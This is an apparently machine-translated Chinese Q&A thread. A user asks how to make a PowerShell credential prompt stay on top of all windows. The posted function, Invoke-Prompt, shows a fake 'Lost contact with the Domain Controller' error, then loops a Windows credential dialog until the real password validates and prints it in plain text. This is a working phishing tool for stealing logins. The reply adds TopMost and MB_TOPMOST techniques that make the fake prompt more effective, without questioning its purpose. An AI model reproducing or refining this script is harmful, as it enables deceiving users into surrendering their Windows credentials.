我希望powershell中的creds框显示在每个窗口的顶部,就像用户在每个窗口看到这个框一样..............
function Invoke-Prompt {
[CmdletBinding()]
Param (
[Switch] $ProcCreateWait,
[String] $MsgText = 'Lost contact with the Domain Controller.',
[String] $IconType = 'Information', # "None", "Critical", "Question", "Exclamation" , "Information"
[String] $Title = 'ERROR - 0xA801B720'
)
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
if($MsgText -and $($MsgText -ne '')){
$null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
if($credential){
while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
$credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
}
"[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
}
else{
"[!] User closed credential prompt"
}
}
Invoke-Prompt
你看过:
$Credential = Get-Credential
有关自定义凭据提示的一些示例,请参阅示例。
至于......
没有像System.Windows.Forms的最顶层属性那样的东西
......你确定吗,因为,以下会反驳......
定义命名空间:System.Windows.Forms
程序集:System.Windows.Forms.dll
获取或设置一个值,该值指示表单是否应显示为最顶层的表单。
最重要的努力的其他例子:
PowerShell tricks – Open a dialog as topmost window - 并且确实涵盖了您的TopMost评论,但是,这是用于对话框,这是您使用的对比Windows窗体。那么,你在这里发布的内容。如果你想要一个WinForm / WPF,那么你需要使用它们。
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName PresentationFramework
即使没有内置属性将对话框设置为最顶层窗口,使用ShowDialog方法的第二次重载(MSDN:ShowDialog方法)也可以实现相同的目的。此重载需要一个参数,该参数指示对话框的父窗口。由于在关闭对话框后不会使用拥有窗口,我们可以在方法调用中动态创建一个新表单:
Add-Type -AssemblyName System.Windows.Forms
$FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
$FolderBrowser.Description = 'Select the folder containing the data'
$result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))
if ($result -eq [Windows.Forms.DialogResult]::OK)
{ $FolderBrowser.SelectedPath }
else { exit }
或者这一个......
Keep Messagebox.show() on top of other application using c#
MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None,
MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000); // MB_TOPMOST
The 0x40000 is the "MB_TOPMOST"-Flag.
# Or
MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
C# MessageBox To Front When App is Minimized To Tray
MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
"Settings Needed",
MessageBoxButtons.YesNo,
MessageBoxIcon.Question);
Force MessageBox to be on top of application window in .net/WPF接受的回答w / 43 upvotes:
Keep Form on Top of All Other Windows
好吧,这个是C#,但由于PowerShell可以使用所有东西.Net,这仍然值得考虑。
最后,你为什么这么说,你所展示的,是不是给你设计的结果?当我测试你在这里所拥有的东西时,它正在研究我测试过的至少两个系统。